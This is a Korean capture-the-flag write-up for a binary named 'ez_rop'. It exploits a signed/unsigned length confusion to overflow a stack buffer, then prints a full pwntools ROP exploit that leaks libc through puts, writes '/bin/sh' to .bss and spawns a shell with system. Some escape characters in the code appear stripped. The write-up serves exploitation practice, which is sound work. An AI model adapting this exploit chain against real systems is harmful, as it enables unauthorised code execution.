

C코드이다. main에서 length를 입력받고, 이를 input의 매개변수로 전달하고 있다. 단, 입력한 크기가 0x100을 넘어선 안된다.
그런데 input 함수 내부를 보면 input 변수의 크기가 0x100인 것을 확인할 수 있다. 매개변수로 전달할 수 있는 값이 0x100이하이므로 bof를 못할 것 같아 보인다…
하지만 변수의 type을 잘 보자! main 내부의 length는 int로 선언되어 있지만, input의 매겨변수로 받는 변수는 unsigned int로 선언되어 있다! 우리는 이 점을 공략할 수 있다.
-1을 생각해보자. 이는 signed int에서는 실제 1111…1110으로 저장된다. 그런데 이것을 unsigned로 받아들인다면 -1이 아닌 4294967295가 된다. 즉, bof가 가능한 것이다!
따라서, 우리는 적당한 음수를 입력해서 이를 인자로 전달해 bof를 실행할 수 있다. exploit 방법은 제목과 같이 rop를 이용하는 것이다.
먼저, puts 함수 실제주소를 출력하고 이를 바탕으로 libc_base의 주소를 구한다. 그렇게 system 함수의 실제 주소를 얻어낸다.
그 다음 read 함수를 통해 bss에 /bin/sh을 입력한다.

그림으로 나타내면 다음과 같다.
이렇게 첫번째 bof를 끝내고, libc_base를 계산하여 system 주소를 얻어낸 후, 마지막에 input 함수를 인자로 0x100이상을 전달받아 실행하게 한다.
다음 bof로는 system함수의 인자로 bss의 주소를 전달하여 system(/bin/sh)가 실행되도록 한다.

pop rdi, pop rsi, pop rdx 가젯을 구해준다.

64bit alignment 문제 해결을 위해 ret 가젯도 구해준다. (이거 때문에 시간 엄청 날렸다…)

system 함수와 puts 함수의 plt도 구해준다.

bss 주소도 구해주었다.
exploit 코드는 다음과 같다.
from pwn import *
#context.log_level = 'debug'
p = process('./ez_rop')
e = ELF('./ez_rop')
rdi_ret=0x00401313
rsi_r15_ret=0x00401311
rdx_ret=0x004011be
ret=0x0040101a
bss=0x404050+0x10
puts_offset=0x80ed0
system_offset=0x50d60
puts_plt=e.plt['puts']
puts_got=e.got['puts']
read_plt=e.plt['read']
input_func=0x40120f
p.recvuntil(b'Input length??n')
p.sendline(str(-1).encode())
sleep(0.3)
payload = b'A' * 0x108
payload += p64(rdi_ret) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(rdi_ret) + p64(0)
payload += p64(rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(rdx_ret) + p64(300)
payload += p64(read_plt)
payload += p64(rdi_ret) + p64(1000)
payload += p64(input_func)
p.send(payload)
puts = u64(p.recvline().strip() +b'x00'*2)
libc_base = puts - puts_offset
system = libc_base + system_offset
log.info('libc base : ' + hex(libc_base))
pause()
p.send(b"/bin/shx00")
payload = b'A' * 0x100
payload += p64(input_func)
payload += p64(rdi_ret) + p64(bss)
payload += p64(ret)
payload += p64(system)
pause()
p.send(payload)
p.interactive()

libc_base도 잘 구했고, expliot에 성공한 것을 확인할 수 있다!